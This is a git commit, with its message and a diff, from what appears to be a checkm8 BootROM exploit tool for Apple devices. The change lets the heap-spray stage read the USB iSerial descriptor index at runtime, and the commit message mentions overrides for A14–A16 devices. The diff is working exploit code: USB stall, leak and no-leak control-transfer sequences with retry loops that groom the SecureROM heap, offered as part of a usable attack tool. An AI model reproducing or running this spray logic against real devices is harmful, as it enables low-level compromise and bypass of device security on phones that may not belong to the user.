fix(dfu): read iSerial index at runtime; honor --cpid/--ecid overrides

Retire the three hardcoded DFU_SERIAL_INDEX = 3 constants in
usb_dfu.c, path_b_identity.c, and checkm8_internal.h. usb_dfu_find()
now captures bDeviceDescriptor.iSerialNumber into device_info_t and
usb_dfu_read_info() iterates hint -> 3 -> 4 with the sentinel check
deferred until every probe has returned only the product string. The
checkm8 spray helpers accept the resolved index as a parameter, and
the CLI override log fires whenever --cpid/--ecid populated a field
the descriptor read could not, so A14/A15/A16 devices no longer
strand users on the false NOT-in-SecureROM-DFU diagnostic.

Files modified:
- include/device/device.h
- include/device/usb_dfu.h
- include/exploit/checkm8_internal.h
- src/bypass/path_b_identity.c
- src/device/usb_dfu.c
- src/exploit/checkm8.c
- src/exploit/checkm8_spray.c
- src/main.c
- tests/mocks/mock_hw_stubs.c

Closes: #45, #65, #59, #27, #17, #52, #30, #22, #25, #10, #8, #6, #7
This commit is contained in:
Moussa Ouallaf 2026-07-17 03:03:52 +02:00
parent 443a18f9ad
commit 03d352d7f5
9 changed files with 332 additions and 101 deletions

View file

@ -57,7 +57,7 @@ int checkm8_usb_request_stall(libusb_device_handle *usb)
* 1ms timeout, expect 0 bytes back (allocation happened but no data
* returned before timeout).
*/
int checkm8_usb_request_leak(libusb_device_handle *usb)
int checkm8_usb_request_leak(libusb_device_handle *usb, uint8_t iserial_idx)
{
unsigned char *buf;
int ret;
@ -67,7 +67,7 @@ int checkm8_usb_request_leak(libusb_device_handle *usb)
return 0;
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
(3U << 8U) | DFU_SERIAL_IDX,
(uint16_t)((3U << 8U) | iserial_idx),
USB_MAX_STRING_DESC_IDX,
buf, EP0_MAX_PACKET_SZ,
STALL_TIMEOUT_MS);
@ -93,7 +93,7 @@ int checkm8_usb_request_leak(libusb_device_handle *usb)
* timeout. Loops until a short transfer occurs and a subsequent
* leak request succeeds.
*/
int checkm8_stall(libusb_device_handle *usb)
int checkm8_stall(libusb_device_handle *usb, uint8_t iserial_idx)
{
unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT;
unsigned usb_abort_timeout = usb_timeout - 1;
@ -115,7 +115,7 @@ int checkm8_stall(libusb_device_handle *usb)
continue;
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
(3U << 8U) | DFU_SERIAL_IDX,
(uint16_t)((3U << 8U) | iserial_idx),
USB_MAX_STRING_DESC_IDX,
buf, desc_len,
usb_abort_timeout);
@ -126,7 +126,7 @@ int checkm8_stall(libusb_device_handle *usb)
* means the stall worked.
*/
if (ret >= 0 && (uint16_t)ret < desc_len &&
checkm8_usb_request_leak(usb)) {
checkm8_usb_request_leak(usb, iserial_idx)) {
break;
}
@ -153,7 +153,7 @@ int checkm8_stall(libusb_device_handle *usb)
* The extra byte forces a different allocation size, creating a
* hole when the buffer is freed.
*/
int checkm8_no_leak(libusb_device_handle *usb)
int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx)
{
uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ + 1;
unsigned char *buf;
@ -164,7 +164,7 @@ int checkm8_no_leak(libusb_device_handle *usb)
return 0;
ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06,
(3U << 8U) | DFU_SERIAL_IDX,
(uint16_t)((3U << 8U) | iserial_idx),
USB_MAX_STRING_DESC_IDX,
buf, desc_len,
STALL_TIMEOUT_MS);
@ -182,6 +182,7 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
{
libusb_device_handle *usb;
const chip_info_t *chip;
uint8_t iserial_idx;
size_t i;
if (!ctx || !ctx->dev || !ctx->chip)
@ -189,7 +190,16 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
usb = ctx->dev->usb;
chip = ctx->chip;
log_info("checkm8: stage 3/4 -- heap spray");
/*
* Descriptor index for the CPID/ECID serial string. Populated by
* usb_dfu_find() from bDeviceDescriptor.iSerialNumber. If the
* device never reported one, fall back to 3 -- every checkm8-
* vulnerable chip (A5..A11) ships with iSerial=3, so gaster's
* historical constant remains a safe default here.
*/
iserial_idx = ctx->dev->iserial_index ? ctx->dev->iserial_index : 3;
log_info("checkm8: stage 3/4 -- heap spray (iSerial idx %u)",
(unsigned)iserial_idx);
if (chip->config_large_leak == 0) {
uint32_t cpid = chip->cpid;
@ -208,8 +218,8 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
cpid == 0x8003 || cpid == 0x8000) {
int spray_attempt = 0;
while (!checkm8_usb_request_stall(usb) ||
!checkm8_usb_request_leak(usb) ||
!checkm8_no_leak(usb)) {
!checkm8_usb_request_leak(usb, iserial_idx) ||
!checkm8_no_leak(usb, iserial_idx)) {
if (++spray_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: path A exceeded %d retries",
MAX_STALL_RETRIES);
@ -217,11 +227,11 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
}
}
} else {
if (checkm8_stall(usb) != 0)
if (checkm8_stall(usb, iserial_idx) != 0)
return -1;
for (i = 0; i < chip->config_hole; ++i) {
int hole_attempt = 0;
while (!checkm8_no_leak(usb)) {
while (!checkm8_no_leak(usb, iserial_idx)) {
if (++hole_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: no_leak hole %zu "
"exceeded %d retries",
@ -231,8 +241,8 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
}
}
int final_attempt = 0;
while (!checkm8_usb_request_leak(usb) ||
!checkm8_no_leak(usb)) {
while (!checkm8_usb_request_leak(usb, iserial_idx) ||
!checkm8_no_leak(usb, iserial_idx)) {
if (++final_attempt > MAX_STALL_RETRIES) {
log_error("checkm8_stage_spray: path B final loop "
"exceeded %d retries", MAX_STALL_RETRIES);